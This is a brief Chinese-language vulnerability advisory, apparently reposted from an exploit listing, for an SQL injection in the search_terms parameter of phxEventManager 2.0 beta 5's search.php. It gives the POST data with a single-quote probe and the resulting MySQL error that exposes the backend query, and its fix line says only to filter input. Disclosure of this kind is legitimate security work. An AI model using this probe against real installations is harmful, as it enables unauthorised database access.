标题: phxEventManager 2.0 beta 5 search.php search_terms SQL Injection Vulnerability 作者: skysbsb 下载 地址: http://sourceforge.net/projects/phxeventmanager/ 测试平台: Apache/*nix 实力地址: http://www.2cto.com /path_to_pem/search.php? POSTDATA: datasubmit=1&searchtype=events&s_event_names=on&s_event_descriptions=on&s_event_presenters=on&s_event_contacts=on&search_terms=' Result: M DB2 Error: syntax error, _doQuery: [Error message: Could not execute statement] [Last executed query: SELECT * FROM pem_entries as e, pem_dates as d WHERE e.id = d.entry_id AND () AND e.entry_status != 2 AND d.date_status != 2 AND (e.entry_visible_to_public = 1 AND d.date_visible_to_public = 1) AND (e.entry_status != 0 AND d.date_status != 0) AND d.when_begin >= DATE_SUB(CURDATE(),INTERVAL 1 YEAR) ] [Native code: 1064] [Native message: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ') AND e.entry_status != 2 AND d.date_status != 2 AND (e.entry_visible_to_public ' at line 1] 修复：进行过滤
查看更多关于phxEventManager 2.0 beta 5 search.php search_terms的详细内容...